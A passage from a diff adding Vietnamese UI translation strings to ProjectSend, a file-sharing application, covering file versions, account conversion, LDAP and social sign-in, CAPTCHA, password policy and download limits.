những người như tệp đó.", + "Versions": "Phiên bản", + "Mark this file as a newer version of something you uploaded before.": "Đánh dấu tệp này là phiên bản mới hơn của một tệp bạn đã tải lên trước đây.", + "This version is outdated": "Phiên bản này đã cũ", + "It was replaced by \":name\".": "Nó đã được thay bằng “:name”.", + "This file is a new version of": "Tệp này là phiên bản mới của", + "Remove link": "Gỡ liên kết", + "Mark as a new version": "Đánh dấu là phiên bản mới", + "Version history": "Lịch sử phiên bản", + "Version link removed.": "Đã gỡ liên kết phiên bản.", + "This file is now marked as a new version of \":name\".": "Tệp này giờ đã được đánh dấu là phiên bản mới của “:name”.", + "Share this file's recipients with the original?": "Chuyển người nhận của tệp này sang tệp gốc?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "Phiên bản mới được chia sẻ với cùng những người như tệp gốc. Những người nhận sau đây của tệp này sẽ được thêm vào tệp gốc để không ai mất quyền truy cập:", + "No other files are available to link to.": "Không có tệp nào khác để liên kết.", + "Shared through \":name\"": "Chia sẻ thông qua “:name”", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "Tệp này là phiên bản mới của “:name” nên được chia sẻ với cùng những người đó. Muốn đổi ai xem được thì phải sửa ở tệp kia.", + "Edit sharing on \":name\"": "Sửa việc chia sẻ của “:name”", + "You don't have permission to change who that file is shared with.": "Bạn không có quyền thay đổi những người được chia sẻ tệp đó.", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "Đây là phiên bản mới của “:name” và được chia sẻ với cùng những người đó. Hãy quản lý việc chia sẻ ở tệp kia.", + "New version of": "Phiên bản mới của", + "Replaced by": "Được thay bằng", + "Outdated": "Đã cũ", + "New version": "Phiên bản mới", + "Replaced by :name": "Được thay bằng :name", + "Replaces :name": "Thay cho :name", + "There is a newer version of this file": "Đã có phiên bản mới hơn của tệp này", + "This replaces": "Tệp này thay cho", + "This is a new version of a file I uploaded before": "Đây là phiên bản mới của một tệp tôi đã tải lên trước đây", + "Search your files…": "Tìm trong tệp của bạn…", + "You have no earlier files that can be replaced.": "Bạn không có tệp cũ nào có thể thay thế.", + "This file will be shared with the same people who have \":name\".": "Tệp này sẽ được chia sẻ với đúng những người đang có “:name”.", + ":name (group)": ":name (nhóm)", + "Search files…": "Tìm tệp…", + "Search…": "Tìm kiếm…", + "Searching…": "Đang tìm…", + "No files match \":search\".": "Không có tệp nào khớp với “:search”.", + "Nothing matches \":search\".": "Không có gì khớp với “:search”.", + "A client account was converted to staff": "Một tài khoản khách hàng đã được chuyển thành tài khoản nhân sự", + "A staff account was converted to a client": "Một tài khoản nhân sự đã được chuyển thành tài khoản khách hàng", + "A client account was created from the directory": "Một tài khoản khách hàng đã được tạo từ thư mục người dùng", + "Converted the client account \":subject\" to staff (:role)": "Đã chuyển tài khoản khách hàng “:subject” thành tài khoản nhân sự (:role)", + "Converted the staff account \":subject\" to a client": "Đã chuyển tài khoản nhân sự “:subject” thành tài khoản khách hàng", + "Created a client account from the directory on first sign-in": "Đã tạo tài khoản khách hàng từ thư mục người dùng ở lần đăng nhập đầu tiên", + "Convert accounts": "Chuyển đổi tài khoản", + "Convert": "Chuyển đổi", + "Convert to client": "Chuyển thành khách hàng", + "Convert to staff": "Chuyển thành nhân sự", + "Convert :name to a client": "Chuyển :name thành khách hàng", + "Convert :name to staff": "Chuyển :name thành nhân sự", + "Client → staff": "Khách hàng → nhân sự", + "Staff → client": "Nhân sự → khách hàng", + "Move an account between staff and clients. Files they uploaded are always kept.": "Chuyển một tài khoản qua lại giữa nhân sự và khách hàng. Các tệp họ đã tải lên luôn được giữ lại.", + "They lose access to every staff screen immediately.": "Quyền truy cập vào mọi màn hình dành cho nhân sự sẽ mất ngay lập tức.", + "They gain access to the staff screens their role allows.": "Sẽ có quyền truy cập những màn hình nhân sự mà vai trò cho phép.", + "Will be revoked": "Sẽ bị thu hồi", + "Will be revoked and cannot be undone": "Sẽ bị thu hồi và không thể hoàn tác", + "Will be kept": "Sẽ được giữ lại", + "Nothing": "Không có gì", + "Nothing to keep": "Không có gì để giữ lại", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "Chuyển đổi ngược lại sẽ khôi phục mọi thứ trong mục “Sẽ được giữ lại”. Những gì đã bị thu hồi thì không khôi phục được.", + ":files files and :folders folders they uploaded": ":files tệp và :folders thư mục do tài khoản này tải lên", + "No accounts match these filters.": "Không có tài khoản nào khớp với các bộ lọc này.", + "Account converted to a client.": "Đã chuyển tài khoản thành khách hàng.", + "Account converted to staff.": "Đã chuyển tài khoản thành nhân sự.", + "Approve or deny this account request before converting it.": "Hãy duyệt hoặc từ chối yêu cầu tài khoản này trước khi chuyển đổi.", + "You cannot convert your own account.": "Bạn không thể chuyển đổi tài khoản của chính mình.", + "New password": "Mật khẩu mới", + "New password (optional)": "Mật khẩu mới (không bắt buộc)", + "Leave blank to keep their current password.": "Để trống nếu giữ nguyên mật khẩu hiện tại.", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "Tài khoản này đăng nhập qua thư mục người dùng của bạn. Tài khoản nhân sự thì không bao giờ như vậy, nên cần đặt mật khẩu ở đây, nếu không họ sẽ hoàn toàn không đăng nhập được.", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "Hãy đặt mật khẩu cho tài khoản này. Hiện nó đăng nhập qua thư mục người dùng, còn tài khoản nhân sự thì không bao giờ như vậy.", + "Tokens created": "Token đã tạo", + "Currently active": "Đang hoạt động", + ":count active": ":count đang hoạt động", + "1 permission": "1 quyền", + ":count permissions": ":count quyền", + "This token carries no permissions.": "Token này không mang quyền nào.", + "This account has created API tokens before, but none are live now.": "Tài khoản này từng tạo token API, nhưng hiện không còn token nào hoạt động.", + "This account has never created an API token.": "Tài khoản này chưa bao giờ tạo token API.", + "No longer granted to this account, so it does nothing.": "Không còn được cấp cho tài khoản này nên không có tác dụng gì.", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "Chỉ :name mới có thể tạo, thay đổi hoặc thu hồi các token này — quản trị viên xem được nhưng không quản lý được.", + "What this token is allowed to do through the API. It can never do more than :name may.": "Những gì token này được phép làm qua API. Nó không bao giờ làm được nhiều hơn :name.", + "LDAP": "LDAP", + "LDAP settings": "Cài đặt LDAP", + "LDAP settings saved.": "Đã lưu cài đặt LDAP.", + "Directory": "Thư mục người dùng", + "Connection": "Kết nối", + "Server": "Máy chủ", + "Base DN": "Base DN", + "Service account DN": "DN của tài khoản dịch vụ", + "Service account password": "Mật khẩu tài khoản dịch vụ", + "Email attribute": "Thuộc tính email", + "Name attribute": "Thuộc tính tên", + "Additional filter (optional)": "Bộ lọc bổ sung (không bắt buộc)", + "CA certificate path (optional)": "Đường dẫn chứng chỉ CA (không bắt buộc)", + "None (unencrypted)": "Không (không mã hóa)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (TLS ngầm định)", + "Allow clients to sign in with a directory account": "Cho phép khách hàng đăng nhập bằng tài khoản thư mục", + "Let clients sign in with their directory account. Staff always authenticate locally.": "Cho phép khách hàng đăng nhập bằng tài khoản thư mục của họ. Nhân sự luôn xác thực tại chỗ.", + "Create an account on first sign-in": "Tạo tài khoản ở lần đăng nhập đầu tiên", + "Directory accounts are always created as clients, never as staff.": "Tài khoản từ thư mục luôn được tạo dưới dạng khách hàng, không bao giờ là nhân sự.", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "Người có trong thư mục nhưng chưa có tài khoản ở đây sẽ được cấp tài khoản khách hàng và đăng nhập ngay.", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "Người có trong thư mục nhưng chưa có tài khoản ở đây sẽ được cấp tài khoản khách hàng và chờ duyệt trong mục Yêu cầu tài khoản.", + "Only people who already have an account here can sign in.": "Chỉ những người đã có tài khoản ở đây mới đăng nhập được.", + "Combined with the address match, to narrow who may sign in.": "Kết hợp với điều kiện khớp địa chỉ để thu hẹp những ai được đăng nhập.", + "The attribute holding the address people sign in with — usually mail.": "Thuộc tính chứa địa chỉ dùng để đăng nhập — thường là mail.", + "Where in the tree to look for people.": "Vị trí trong cây thư mục để tìm người dùng.", + "Leave blank to search anonymously.": "Để trống để tìm kiếm ẩn danh.", + "Stored encrypted, and never shown again.": "Được lưu ở dạng mã hóa và không hiển thị lại.", + "Stored encrypted. Leave blank to keep the current one.": "Được lưu ở dạng mã hóa. Để trống nếu giữ nguyên giá trị hiện tại.", + "For a directory presenting a certificate from your own certificate authority.": "Dành cho thư mục dùng chứng chỉ do tổ chức chứng thực của chính bạn cấp.", + "Unencrypted: the service account password and every client password cross the network in clear text.": "Không mã hóa: mật khẩu tài khoản dịch vụ và mật khẩu của từng khách hàng đều truyền qua mạng dưới dạng văn bản thuần.", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "Khi mật khẩu của khách hàng không khớp tại chỗ, hệ thống sẽ đối chiếu với thư mục. Tài khoản nhân sự luôn xác thực tại chỗ và không bao giờ được gửi tới đó.", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "Máy chủ này chưa cài phần mở rộng PHP LDAP nên các cài đặt này không thể có hiệu lực.", + "The PHP LDAP extension is not installed on this server.": "Máy chủ này chưa cài phần mở rộng PHP LDAP.", + "Saves are not required to test — but the test uses the settings as last saved.": "Không cần lưu mới kiểm tra được — nhưng phép kiểm tra dùng các cài đặt đã lưu lần gần nhất.", + "Test a sign-in": "Thử đăng nhập", + "Email address (optional)": "Địa chỉ email (không bắt buộc)", + "Password (optional)": "Mật khẩu (không bắt buộc)", + "Connected and bound as the service account.": "Đã kết nối và xác thực bằng tài khoản dịch vụ.", + "Could not connect or bind as the service account: :error": "Không thể kết nối hoặc xác thực bằng tài khoản dịch vụ: :error", + "Found a matching entry.": "Đã tìm thấy một mục khớp.", + "No directory entry matched that address under the base DN.": "Không có mục thư mục nào dưới base DN khớp với địa chỉ đó.", + "The directory rejected that password.": "Thư mục đã từ chối mật khẩu đó.", + "The search failed: :error": "Tìm kiếm không thành công: :error", + "The sign-in bind failed: :error": "Xác thực khi đăng nhập không thành công: :error", + "Signed in successfully.": "Đăng nhập thành công.", + "1 item": "1 mục", + ":count items": ":count mục", + "1 API token": "1 token API", + ":count API tokens": ":count token API", + "1 assigned client": "1 khách hàng được giao", + ":count assigned clients": ":count khách hàng được giao", + "Managed by 1 staff member": "Do 1 nhân sự phụ trách", + "Managed by :count staff members": "Do :count nhân sự phụ trách", + "1 group membership": "1 lượt tham gia nhóm", + ":count group memberships": ":count lượt tham gia nhóm", + "1 file shared with them": "1 tệp được chia sẻ với họ", + ":count files shared with them": ":count tệp được chia sẻ với họ", + "Approve these accounts automatically": "Tự động duyệt các tài khoản này", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "Thư mục của bạn đã xác định danh tính của họ nên không còn ai cần thẩm định. Hãy để tắt nếu muốn xem xét từng người trong mục Yêu cầu tài khoản trước.", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "Khách hàng tự đăng ký sẽ được duyệt tự động — cài đặt này độc lập và không đi theo quy tắc đó.", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "Khách hàng tự đăng ký vẫn phải chờ duyệt — cài đặt này độc lập và không làm thay đổi điều đó.", + "Container filesystem": "Hệ thống tệp của container", + "Docker volume": "Volume Docker", + "Files stored on": "Tệp được lưu tại", + "Host directory": "Thư mục trên máy chủ", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "Nghĩa là cả docker compose down -v lẫn docker volume prune đều sẽ xóa chúng, và bản sao lưu máy chủ của bạn có thể bỏ sót hoàn toàn.", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "Chúng không nằm trên volume nào, nên việc dựng lại hay tạo lại container này sẽ xóa vĩnh viễn mọi tệp. Hãy chuyển chúng sang một thư mục trên máy chủ trước khi tải thêm bất cứ thứ gì.", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "Chúng vẫn còn sau khi nâng cấp, nhưng nằm trên volume do Docker quản lý chứ không phải thư mục bạn tự chọn.", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "Chúng vẫn còn sau khi nâng cấp, nhưng nằm trên volume Docker :volume chứ không phải thư mục bạn tự chọn.", + "Uploaded files are inside Docker": "Tệp tải lên đang nằm bên trong Docker", + "Uploaded files are stored inside the container": "Tệp tải lên đang được lưu bên trong container", + "1 more language available": "Còn 1 ngôn ngữ nữa", + ":count more languages available": "Còn :count ngôn ngữ nữa", + ":left of :limit downloads left": "còn :left trong :limit lượt tải", + ":limit downloads per person": ":limit lượt tải mỗi người", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name sẽ đăng nhập chỉ bằng mật khẩu cho đến khi thiết lập lại, và sẽ nhận email về thay đổi này. Nếu trang này yêu cầu xác thực hai yếu tố, họ sẽ được yêu cầu đăng ký lại ở lần đăng nhập tiếp theo.", + ":provider accepted your secret key.": ":provider đã chấp nhận khóa bí mật của bạn.", + ":provider connected.": "Đã kết nối :provider.", + ":provider did not provide an email address, which is required to sign in.": ":provider không cung cấp địa chỉ email, vốn là bắt buộc để đăng nhập.", + ":provider disconnected.": "Đã ngắt kết nối :provider.", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider không bao giờ báo cho biết một địa chỉ đã được xác minh hay chưa, nên khi bật tùy chọn này, nó có thể tạo tài khoản mới nhưng không bao giờ đăng nhập vào một tài khoản đã có. Kết nối từ Cài đặt khi đã đăng nhập thì vẫn hoạt động.", + ":provider rejected your secret key.": ":provider đã từ chối khóa bí mật của bạn.", + ":provider settings saved.": "Đã lưu cài đặt :provider.", + ":used of :limit downloads used": "đã dùng :used trong :limit lượt tải", + "A :provider account was connected": "Một tài khoản :provider đã được kết nối", + "A :provider account was disconnected": "Một tài khoản :provider đã bị ngắt kết nối", + "Accounts at :domain cannot sign in with :provider here.": "Tài khoản tại :domain không thể đăng nhập bằng :provider ở đây.", + "A client account was created from :provider": "Một tài khoản khách hàng đã được tạo từ :provider", + "Allowed email domains": "Các miền email được phép", + "Allow signing in with :provider": "Cho phép đăng nhập bằng :provider", + "Always a client account. Staff accounts are only ever created by an administrator.": "Luôn là tài khoản khách hàng. Tài khoản nhân viên chỉ do quản trị viên tạo.", + "Always available — the application is written in English, so it needs no translation file.": "Luôn có sẵn — ứng dụng được viết bằng tiếng Anh nên không cần tệp dịch.", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "Một tài khoản đã dùng địa chỉ email này, và :provider không xác nhận rằng nó thuộc về bạn. Thay vào đó, hãy đăng nhập bằng mật khẩu của bạn và kết nối :provider từ cài đặt của bạn.", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "Một địa chỉ mà nhà cung cấp chưa xác nhận thì không bao giờ có thể khớp với một tài khoản đã tồn tại ở đây. Tắt tùy chọn này nghĩa là bất kỳ ai có thể đăng ký tại nhà cung cấp của bạn bằng địa chỉ của người khác đều có thể đăng nhập với tư cách người đó.", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "Một quản trị viên đã gỡ xác thực hai yếu tố khỏi tài khoản của bạn. Bạn có thể thiết lập lại từ cài đặt bảo mật của mình. Hãy liên hệ quản trị viên nếu bạn không lường trước điều này.", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "Bất kỳ ai có thể truy cập một tệp đều thấy các danh mục được gán cho nó — một khách hàng trong cổng của họ, hoặc bất kỳ ai giữ một liên kết công khai hay được chia sẻ. Khách hàng đã đăng nhập cũng có thể lọc tệp của họ theo bất kỳ danh mục nào trong danh sách này. Chỉ nhóm của bạn mới có thể tạo, đổi tên hoặc xóa chúng.", + "Applies whenever a password is chosen, not when one is used to sign in": "Áp dụng mỗi khi chọn một mật khẩu, không phải khi dùng mật khẩu để đăng nhập", + "Approve those accounts automatically": "Tự động phê duyệt các tài khoản đó", + "A secret is stored. Leave this blank to keep it.": "Một khóa bí mật đã được lưu. Để trống để giữ nguyên.", + "At least :count characters.": "Ít nhất :count ký tự.", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "Từ 0.0 (xem mọi người là bot) đến 1.0 (xem mọi người là con người). Giá trị thông thường là 0.5.", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "CAPTCHA hiện đang tắt. Chọn một nhà cung cấp và nhập khóa của nó để bật lên.", + "CAPTCHA settings saved.": "Đã lưu cài đặt CAPTCHA.", + "Categories are visible outside your team": "Danh mục hiển thị bên ngoài nhóm của bạn", + "Change yours": "Đổi của bạn", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "Kiểm tra mật khẩu mới với kho dữ liệu rò rỉ Have I Been Pwned. Bản thân mật khẩu không bao giờ rời khỏi máy chủ này — chỉ năm ký tự đầu của mã băm được gửi đi.", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "Kiểm tra khóa bí mật với nhà cung cấp của bạn. Không ai phải giải một thử thách.", + "Client ID": "ID ứng dụng khách", + "Client registration": "Đăng ký khách hàng", + "Client secret": "Khóa bí mật ứng dụng khách", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "Phân tách bằng dấu phẩy. Để trống để cho phép mọi địa chỉ.", + "Comments from visitors": "Bình luận từ khách truy cập", + "Complete the security check and try again.": "Hoàn tất bước kiểm tra bảo mật và thử lại.", + "Configure it myself": "Tự tôi cấu hình", + "Connected": "Đã kết nối", + "Connected accounts": "Tài khoản đã kết nối", + "Connected the :provider account of \":subject\"": "Đã kết nối tài khoản :provider của \":subject\"", + "Continue with :provider": "Tiếp tục với :provider", + "Could not reach :provider: :error": "Không thể liên hệ :provider: :error", + "Created a client account from :provider on first sign-in": "Đã tạo tài khoản khách hàng từ :provider ở lần đăng nhập đầu tiên", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "Ngày và giờ trong toàn ứng dụng được hiển thị theo múi giờ này. Được phát hiện từ trình duyệt của bạn lần đầu tiên bạn đăng nhập.", + "Default language": "Ngôn ngữ mặc định", + "Directory (tenant) ID": "ID thư mục (đối tượng thuê)", + "Disabled": "Đã tắt", + "Disconnect": "Ngắt kết nối", + "Disconnected the :provider account of \":subject\"": "Đã ngắt kết nối tài khoản :provider của \":subject\"", + "Downloaded :count time(s) so far. Your own downloads never count.": "Đã tải :count lần cho đến nay. Lượt tải của chính bạn không bao giờ được tính.", + "Download limit": "Giới hạn tải xuống", + "Download limit reached": "Đã đạt giới hạn tải xuống", + "Each person separately": "Mỗi người riêng biệt", + "Enabled": "Đã bật", + "Enter a secret key first.": "Nhập khóa bí mật trước.", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "Nhập một ID đối tượng thuê cụ thể. Các điểm cuối dùng chung \"common\", \"organizations\" và \"consumers\" cho phép bất kỳ đối tượng thuê Microsoft nào khẳng định bất kỳ địa chỉ email nào.", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "Mọi ngôn ngữ được cài trên máy chủ này đều được liệt kê bên dưới. Đánh dấu những ngôn ngữ bạn muốn cung cấp trong trình đơn ngôn ngữ — nhân viên, khách hàng và khách truy cập công khai chỉ thấy những ngôn ngữ đó. Cài thêm một ngôn ngữ chỉ là việc thêm tệp dịch của nó vào thư mục lang.", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "Mật khẩu hiện có không bao giờ được kiểm tra lại, nên việc tăng giá trị này chỉ ảnh hưởng đến mật khẩu được chọn từ nay về sau.", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "Tổng cộng, trên tất cả mọi người", + "Issuer URL": "URL của nhà phát hành", + "Languages": "Ngôn ngữ", + "Language settings": "Cài đặt ngôn ngữ", + "Leave empty for a file that can be downloaded any number of times.": "Để trống cho một tệp có thể được tải bao nhiêu lần tùy ý.", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "Độ dài là yếu tố lớn nhất quyết định mức độ khó đoán của một mật khẩu, đó là lý do ở đây không có quy tắc kiểu \"phải chứa chữ in hoa\" — chúng đẩy người ta đến những cách thay thế dễ đoán và mật khẩu ngắn hơn.", + "Let people sign in with an account they already have somewhere else.": "Cho phép mọi người đăng nhập bằng một tài khoản họ đã có ở nơi khác.", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "Độ dài tối thiểu", + "No limit": "Không giới hạn", + "None selected": "Chưa chọn gì", + "No sign-in providers have been set up for this site.": "Chưa có nhà cung cấp đăng nhập nào được thiết lập cho trang này.", + "Not connected": "Chưa kết nối", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "Tắt nghĩa là họ chờ trong Yêu cầu tài khoản. Một địa chỉ mà nhà cung cấp không xác minh thì luôn phải chờ, bất kể tùy chọn này nói gì.", + "Off — no CAPTCHA": "Tắt — không có CAPTCHA", + "OpenID Connect": "OpenID Connect", + "Or continue with": "Hoặc tiếp tục với", + "Or sign up with": "Hoặc đăng ký với", + "Passwords": "Mật khẩu", + "Passwords that appear in known data breaches are not accepted.": "Không chấp nhận mật khẩu xuất hiện trong các vụ rò rỉ dữ liệu đã biết.", + "Protection": "Bảo vệ", + "Protect these forms": "Bảo vệ các biểu mẫu này", + "Protect your public forms from automated abuse": "Bảo vệ các biểu mẫu công khai của bạn khỏi lạm dụng tự động", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "URI chuyển hướng", + "Register this exact address with :provider. It must match character for character.": "Đăng ký chính xác địa chỉ này với :provider. Phải khớp từng ký tự.", + "Reject passwords found in known data breaches": "Từ chối mật khẩu tìm thấy trong các vụ rò rỉ dữ liệu đã biết", + "Removed two-factor authentication from \":subject\"": "Đã gỡ xác thực hai yếu tố khỏi \":subject\"", + "Remove the limit": "Bỏ giới hạn", + "Remove two-factor authentication": "Gỡ xác thực hai yếu tố", + "Remove two-factor authentication?": "Gỡ xác thực hai yếu tố?", + "Require a verified email address": "Yêu cầu một địa chỉ email đã xác minh", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "Chạy các lệnh này với tư cách người dùng mà máy chủ web của bạn đang chạy. INSTALL.md có quy trình đầy đủ.", + "Score threshold": "Ngưỡng điểm", + "Search timezones…": "Tìm múi giờ…", + "Security check failed. Please try again.": "Kiểm tra bảo mật thất bại. Vui lòng thử lại.", + "Service": "Dịch vụ", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "Đặt một mật khẩu cho tài khoản này. Nó chưa từng có — nó đăng nhập qua một nhà cung cấp đã kết nối, và một tài khoản nhân viên cần một thông tin đăng nhập mà ứng dụng này có thể tự kiểm tra.", + "Signed-in visitors are never asked to solve a challenge when commenting.": "Khách truy cập đã đăng nhập không bao giờ bị yêu cầu giải thử thách khi bình luận.", + "Sign in": "Đăng nhập", + "Sign in with an account you already have somewhere else.": "Đăng nhập bằng một tài khoản bạn đã có ở nơi khác.", + "Site key": "Khóa trang", + "Social login": "Đăng nhập bằng mạng xã hội", + "Stored encrypted and never shown again, not even to you.": "Được lưu ở dạng mã hóa và không bao giờ hiển thị lại, kể cả với bạn.", + "Stored — leave blank to keep it": "Đã lưu — để trống để giữ nguyên", + "Testing…": "Đang kiểm tra…", + "Test keys": "Kiểm tra khóa", + "That :provider account is already connected to another account here.": "Tài khoản :provider đó đã được kết nối với một tài khoản khác ở đây.", + "That sign-in could not be completed. Please try again.": "Không thể hoàn tất lần đăng nhập đó. Vui lòng thử lại.", + "That sign-in method is not available.": "Phương thức đăng nhập đó không khả dụng.", + "The default language has to be one of the languages you are offering.": "Ngôn ngữ mặc định phải là một trong các ngôn ngữ bạn cung cấp.", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "Các điểm cuối được đọc từ địa chỉ này, nên đây là toàn bộ cấu hình. Phải là https.", + "The expiry date must be in the future.": "Ngày hết hạn phải ở tương lai.", + "The issuer URL must start with https://.": "URL của nhà phát hành phải bắt đầu bằng https://.", + "The public key. It appears in your pages’ source, which is expected.": "Khóa công khai. Nó xuất hiện trong mã nguồn các trang của bạn, điều này là bình thường.", + "There is no account here for that address.": "Ở đây không có tài khoản nào cho địa chỉ đó.", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "Không thể tải bước kiểm tra bảo mật. Hãy kiểm tra rằng trình duyệt hoặc mạng của bạn không chặn nó, rồi tải lại trang.", + "This account does not use an authenticator app.": "Tài khoản này không dùng ứng dụng xác thực.", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "Tài khoản này chưa từng có mật khẩu riêng — nó đăng nhập qua một nhà cung cấp đã kết nối. Nhân viên cần một thông tin đăng nhập mà ứng dụng này có thể tự kiểm tra, để một sự cố của nhà cung cấp không khóa họ ở ngoài.", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "Tài khoản này đăng nhập bằng ứng dụng xác thực. Chỉ gỡ khi chủ tài khoản đã mất cả ứng dụng lẫn mã khôi phục.", + "This file has reached its download limit.": "Tệp này đã đạt giới hạn tải xuống.", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "Đây là cách duy nhất bạn có thể đăng nhập. Đặt mật khẩu trước, rồi ngắt kết nối :provider.", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "Trang này được bảo vệ bởi reCAPTCHA và áp dụng Chính sách quyền riêng tư cùng Điều khoản dịch vụ của Google.", + "Those files have reached their download limit.": "Các tệp đó đã đạt giới hạn tải xuống.", + "Timezone": "Múi giờ", + "To update, back up your database and files, then:": "Để cập nhật, hãy sao lưu cơ sở dữ liệu và tệp của bạn, rồi:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "Để cập nhật, hãy làm theo các bước trong INSTALL.md — sao lưu trước, rồi giải nén bản phát hành và chạy các migration.", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "Chỉ tắt tùy chọn này nếu máy chủ này không nên thực hiện yêu cầu đi ra ngoài. Nếu không thể liên hệ dịch vụ, mật khẩu vẫn được chấp nhận, nên một bản cài đặt ngoại tuyến không bao giờ bị chặn bởi nó.", + "Two-factor authentication removed.": "Đã gỡ xác thực hai yếu tố.", + "Two-factor authentication removed by an admin": "Xác thực hai yếu tố bị gỡ bởi một quản trị viên", + "Two-factor authentication was removed by an administrator": "Xác thực hai yếu tố đã bị một quản trị viên gỡ bỏ", + "Two-factor authentication was removed from your account": "Xác thực hai yếu tố đã bị gỡ khỏi tài khoản của bạn", + "Unexpected reply from :provider: :codes": "Phản hồi không mong đợi từ :provider: :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "Được dùng cho bất kỳ ai chưa chọn múi giờ riêng, bao gồm khách truy cập các trang công khai và liên kết chia sẻ của bạn. Mỗi tài khoản có thể đặt múi giờ riêng trong hồ sơ của mình.", + "Use ProjectSend’s protection": "Dùng bảo vệ của ProjectSend", + "Use your own reCAPTCHA or Turnstile account.": "Dùng tài khoản reCAPTCHA hoặc Turnstile của riêng bạn.", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "Gần đây không thể liên hệ dịch vụ xác minh, nên các biểu mẫu được bảo vệ đang được cho qua mà không kiểm tra. Không ai bị khóa ở ngoài.", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "Chúng tôi bảo vệ các biểu mẫu công khai của bạn thay bạn. Không có gì để thiết lập, không có khóa nào để quản lý.", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "Những gì mọi người thấy trước khi họ chọn bất cứ điều gì. Một tài khoản đã đăng nhập giữ lựa chọn riêng của mình, và một khách truy cập có trình duyệt yêu cầu một trong các ngôn ngữ ở trên sẽ nhận ngôn ngữ đó — đây là câu trả lời cho tất cả những người còn lại.", + "Which languages people can choose from": "Những ngôn ngữ mọi người có thể chọn", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "Tài khoản của bạn được tạo qua một trong các nhà cung cấp này và không có mật khẩu riêng, nên không thể gỡ kết nối cuối cùng. Hãy đặt mật khẩu trước nếu bạn muốn ngắt kết nối nó.", + "Your own account is set to :timezone, so this will not change how dates look to you.": "Tài khoản của chính bạn được đặt là :timezone, nên điều này sẽ không thay đổi cách ngày tháng hiển thị với bạn.", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "Đối tượng thuê của riêng bạn, không phải \"common\". Microsoft cho phép người dùng đổi địa chỉ email trên tài khoản của họ, nên một lần đăng nhập chỉ đáng tin khi token đến từ đối tượng thuê bạn đã nêu ở đây.", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "Nhà cung cấp của bạn đã từ chối khóa 